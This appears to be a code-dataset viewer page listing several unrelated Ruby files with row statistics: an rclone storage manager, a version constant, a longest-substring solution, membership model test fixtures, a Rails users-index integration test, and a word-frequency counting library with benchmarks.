ab17d94b227e737f9058cd42000e8702a732583b | 1,042 | # A StorageManager that stores file on remote filesystem using rclone. Rclone
# can store files on most cloud storage systems. Requires the `rclone` binary to
# be installed and configured.
#
# @see https://rclone.org/
class StorageManager::Rclone < StorageManager
class Error < StandardError; end
attr_reader :remote, :bucket, :rclone_path, :rclone_options
def initialize(remote:, bucket:, rclone_path: "rclone", rclone_options: {}, **options)
@remote = remote
@bucket = bucket
@rclone_path = rclone_path
@rclone_options = rclone_options
super(**options)
end
def store(file, path)
rclone "copyto", file.path, key(path)
end
def delete(path)
rclone "delete", key(path)
end
def open(path)
file = Tempfile.new(binmode: true)
rclone "copyto", key(path), file.path
file
end
def rclone(*args)
success = system(rclone_path, *rclone_options, *args)
raise Error, "rclone #{args.join(" ")}: #{$?}" if !success
end
def key(path)
":#{remote}:#{bucket}#{path}"
end
end
| 25.414634 | 88 | 0.679463 |
6aef8dd78d3a5cc08f61dd13f3f7970dd5a0a467 | 37 | module Gyazo
VERSION = '3.1.0'
end
| 9.25 | 19 | 0.648649 |
e29457f1519f8733f624cb2e9e30d396a6cc9fd9 | 527 | # @param {String} s
# @return {Integer}
def length_of_longest_substring(s)
return s.length if s.length < 2
walker, runner, ans = 0, 1, 1
hash = {}
hash[s[0]] = 0
while runner < s.length
if !hash[s[runner]].nil?
stop = hash[s[runner]]
while walker <= stop
hash.delete(s[walker])
walker += 1
end
end
ans = [ans, runner - walker + 1].max
hash[s[runner]] = runner
runner += 1
end
return ans
end | 25.095238 | 44 | 0.499051 |
261d83f3fcaad4ec2e9cc6b1fd88c2f0f5aae60f | 4,623 | # frozen_string_literal: true
require_relative 'data_model_data'
module MembershipData
MODEL = Teneo::DataModel::Membership
ITEMS = DataModelData::ITEMS.for(MODEL)
# noinspection RubyUnusedLocalVariable
TESTS = {
index: {
'get all' => {
check_params: ITEMS.only(MODEL).values
},
'by role' => {
options: {filter: {role: 'admin'}},
check_params: ITEMS.vslice(:membership3, :membership4, :membership5)
},
'by organization_id' => {
options: -> (ctx, spec) {{filter: {organization_id: spec[:org1].id}}},
check_params: ITEMS.vslice(:membership1, :membership3, :membership5)
},
'by user_id' => {
options: -> (ctx, spec) {{filter: {user_id: spec[:user1].id}}},
check_params: ITEMS.vslice(:membership1, :membership2, :membership5)
},
'by user_id and role with match' => {
options: -> (ctx, spec) {{filter: {user_id: spec[:user2].id, role: 'admin'}}},
check_params: ITEMS.vslice(:membership3, :membership4)
},
'by user_id and role without match' => {
options: -> (ctx, spec) {{filter: {user_id: spec[:user2].id, role: 'uploader'}}},
check_params: []
}
},
create: {
'regular item' => {
init: -> (ctx, spec) {ctx.create_dependencies(ITEMS, spec, :membership1)},
params: ITEMS[:membership1],
check_params: ITEMS[:membership1]
},
'role missing' => {
init: -> (ctx, spec) {ctx.create_dependencies(ITEMS, spec, :membership1)},
params: ITEMS[:membership1].deep_reject {|k| k == :role},
failure: true,
errors: {role: ['must be filled', 'must be one of: uploader, ingester, admin', 'values in scope of organization_id, user_id, role must be unique']}
},
'duplicate role with different organization' => {
init: -> (ctx, spec) {ctx.create_items(ITEMS, spec, :membership1, :org2)},
params: ITEMS[:membership1].deep_merge(links: {user_id: :user1, organization_id: :org2})
},
'duplicate role with different user' => {
init: -> (ctx, spec) {ctx.create_items(ITEMS, spec, :membership1, :user2)},
params: ITEMS[:membership1].deep_merge(links: {user_id: :user2, organization_id: :org1})
},
'duplicate role with same user and organization' => {
init: -> (ctx, spec) {ctx.create_items(ITEMS, spec, :membership1)},
params: ITEMS[:membership1],
failure: true,
errors: {role: ['values in scope of organization_id, user_id, role must be unique']}
},
'empty role' => {
init: -> (ctx, spec) {ctx.create_dependencies(ITEMS, spec, :membership1)},
params: ITEMS[:membership1].deep_merge(data: {role: ''}),
failure: true,
errors: {role: ['must be filled', 'must be one of: uploader, ingester, admin', 'values in scope of organization_id, user_id, role must be unique']}
}
},
retrieve: {
'get item' => {
id: -> (ctx, spec) {spec[:membership1].id},
check_params: ITEMS[:membership1]
},
'wrong id' => {
id: 0,
failure: true
}
},
update: {
'role change' => {
id: -> (ctx, spec) {spec[:membership1].id},
params: {role: 'uploader'},
check_params: ITEMS[:membership1].deep_merge(data: {role: 'uploader'}),
},
'role change duplicate' => {
id: -> (ctx, spec) {spec[:membership1].id},
params: {role: 'admin'},
failure: true,
errors: {role: ['values in scope of organization_id, user_id, role must be unique']},
},
'empty role' => {
id: -> (ctx, spec) {spec[:membership1].id},
params: {role: ''},
failure: true,
errors: {role: ['must be filled', 'must be one of: uploader, ingester, admin', 'values in scope of organization_id, user_id, role must be unique']}
}
},
delete: {
'existing item' => {
id: -> (ctx, spec) {spec[:membership1].id},
check_params: ITEMS[:membership1]
},
'non-existing item' => {
id: 0,
failure: true
}
}
}
end
| 41.276786 | 161 | 0.515682 |
1a319871b301f15455fab7298057b6f043a162d2 | 1,152 | require 'test_helper'
class UsersIndexTest < ActionDispatch::IntegrationTest
# test "the truth" do
# assert true
# end
def setup
@admin = users(:nathan)
@non_admin = users(:archer)
end
test "index including pagination" do
log_in_as(@admin)
get users_path
assert_template 'users/index'
assert_select 'div.pagination'
User.paginate(page: 1).each do |user|
assert_select 'a[href=?]', user_path(user), text: user.name
end
end
test "index as admin including pagination and delete links" do
log_in_as(@admin)
get users_path
assert_template 'users/index'
assert_select 'div.pagination'
first_page_of_users = User.paginate(page: 1)
first_page_of_users.each do |user|
assert_select 'a[href=?]', user_path(user), text: user.name
unless user == @admin
assert_select 'a[href=?]', user_path(user), text: 'delete'
end
end
assert_difference 'User.count', -1 do
delete user_path(@non_admin)
end
end
test "index as non-admin" do
log_in_as(@non_admin)
get users_path
assert_select 'a', text: 'delete', count: 0
end
end
| 24.510638 | 66 | 0.668403 |
03cbd342ef87b6006997989aeeaf50b2b3e55bbf | 6,484 | ##########################
# Developer: Victor Huang
# Date: 2/16/2017
# Time to solve the problem: 2 hours
##########################
require 'pp'
require 'benchmark'
class WordCountLib
# assume text without any Unicodes
def initialize(text)
@text = text
end
def frequencey_count
sentences = sanitize_text(@text.downcase).split('.')
words_count = {}
words_in_sentences = {}
sentences.each_with_index do |sentence, setence_index|
words = sentence.split(' ')
words.each do |word|
words_count[word] ||= 0
words_count[word] += 1
words_in_sentences[word] ||= []
setence_number = setence_index + 1
words_in_sentences[word] << setence_number
end
end
{
number_of_sentence: sentences.count,
words_count: words_count,
words_in_sentences: words_in_sentences
}
end
# this method optimize the use of memory and only need to visit the text once
# after sanitization
# it is not tested with Unicode, it might not work correctly if Unicode is present
def frequencey_count_optimized
sanitized_text = sanitize_text(@text.downcase)
current_sentence_num = 1
current_word = ''
words_count = {}
words_in_sentences = {}
current_index = 0
sanitized_text.each_char do |char|
next if char == ' ' && current_word == ''
next if char == '.' && current_word == ''
# process the previouse saved word
if char == ' ' || current_index == sanitized_text.size - 1
words_count[current_word] ||= 0
words_count[current_word] += 1
words_in_sentences[current_word] ||= []
words_in_sentences[current_word] << current_sentence_num
current_word = ''
elsif char != '.'
current_word += char
elsif char == '.'
words_count[current_word] ||= 0
words_count[current_word] += 1
words_in_sentences[current_word] ||= []
words_in_sentences[current_word] << current_sentence_num
current_word = ''
current_sentence_num += 1
end
current_index += 1
end
{
number_of_sentence: current_sentence_num,
words_count: words_count,
words_in_sentences: words_in_sentences
}
end
def frequency_count_with_occurrence_sentence_numbers(optimized: false)
count_data = optimized ? frequencey_count_optimized : frequencey_count
count_hash = count_data[:words_count].inject({}) do |result, (word, count)|
result[word] = [count, count_data[:words_in_sentences][word]]
result
end
count_hash.sort_by { |k, entry| k }
end
def sanitize_text(text)
# remove punucation charater except for .
# reference: http://stackoverflow.com/questions/4328500/how-can-i-strip-all-punctuation-from-a-string-in-javascript-using-regex
text.gsub(/[,\/#!$%\^&\*;:{}=\-_`~()]/, ' ')
end
end
# Tests
class Test
def self.expect_frequency_counter_to_work
text = "Bridgewater is the top hedge fund firm in the American. bridgewater beat other hedge fund and the market consistently."
answer = {
"bridgewater"=>2,
"is"=>1,
"the"=>3,
"top"=>1,
"hedge"=>2,
"fund"=>2,
"firm"=>1,
"in"=>1,
"american"=>1,
"beat"=>1,
"other"=>1,
"and"=>1,
"market"=>1,
"consistently"=>1
}
word_frequency_lib = WordCountLib.new(text)
count_data = word_frequency_lib.frequencey_count
count_data_2 = word_frequency_lib.frequencey_count_optimized
puts "Test.#{__method__} passed" if count_data[:words_count] == answer
puts "Test.#{__method__} optimized passed" if count_data[:words_count] == count_data_2[:words_count]
puts "Test.#{__method__} words_in_sentence optimized passed" if count_data[:words_in_sentences] == count_data_2[:words_in_sentences]
end
def self.expect_frequency_count_with_occurrence_sentence_numbers_to_work
text = "a is in the car. b is on the bike. a is out hidden. c is out."
answer = {
"a"=>[2, [1, 3]],
"is"=>[4, [1, 2, 3, 4]],
"in"=>[1, [1]],
"the"=>[2, [1, 2]],
"car"=>[1, [1]],
"b"=>[1, [2]],
"on"=>[1, [2]],
"bike"=>[1, [2]],
"out"=>[2, [3, 4]],
"hidden"=>[1, [3]],
"c"=>[1, [4]]
}
word_frequency_lib = WordCountLib.new(text)
result = word_frequency_lib.frequency_count_with_occurrence_sentence_numbers
result_2 = word_frequency_lib.frequency_count_with_occurrence_sentence_numbers(optimized: true)
puts "Test.#{__method__} passed" if result == answer
puts "Test.#{__method__} with optimized passed" if result == result_2
end
# this benchmark test is interesting, it shows that using the native Ruby's string split method actually
# perform about 4 times better than the "optimized" version of the method. I think it is because it trades of
# space for time, and the native method is written in C code, which is faster than doing string manipulating
# in Ruby. for normal text processing, it make sense to use the simple method for simplicity and speed, the
# optimized method is really reserver for really really large text that doesn't fit in memory
def self.benchmark_test
text = "a is in the car. b is on the bike. a is out hidden. c is out."
15.times { text += text }
word_frequency_lib = WordCountLib.new(text)
puts Benchmark.measure {
word_frequency_lib.frequency_count_with_occurrence_sentence_numbers
}
puts Benchmark.measure {
word_frequency_lib.frequency_count_with_occurrence_sentence_numbers(optimized: true)
}
end
end
# Test
# Test.expect_frequency_counter_to_work
# Test.expect_frequency_count_with_occurrence_sentence_numbers_to_work
# Test.benchmark_test
# Run
text = <<-DOCHERE
Oroville, California (CNN)A day after 188,000 people were evacuated from the towns surrounding Northern California's Oroville Dam, officials sounded a note of cautious optimism about containing the threat of flooding.
Still, the mandatory evacuation order remained in place Monday for Butte, Sutter and Yuba counties.
The evacuation was ordered Sunday after a massive hole was discovered in an emergency spillway -- which catches excess water when Lake Oroville's water level rises to overflow the dam -- threatening communities downstream.
DOCHERE
puts text.downcase
puts
word_frequency_lib = WordCountLib.new(text)
pp word_frequency_lib.frequency_count_with_occurrence_sentence_numbers
| 31.940887 | 222 | 0.677514 |
Subsets and Splits
No saved queries yet
Save your SQL queries to embed, download, and access them later. Queries will appear here once saved.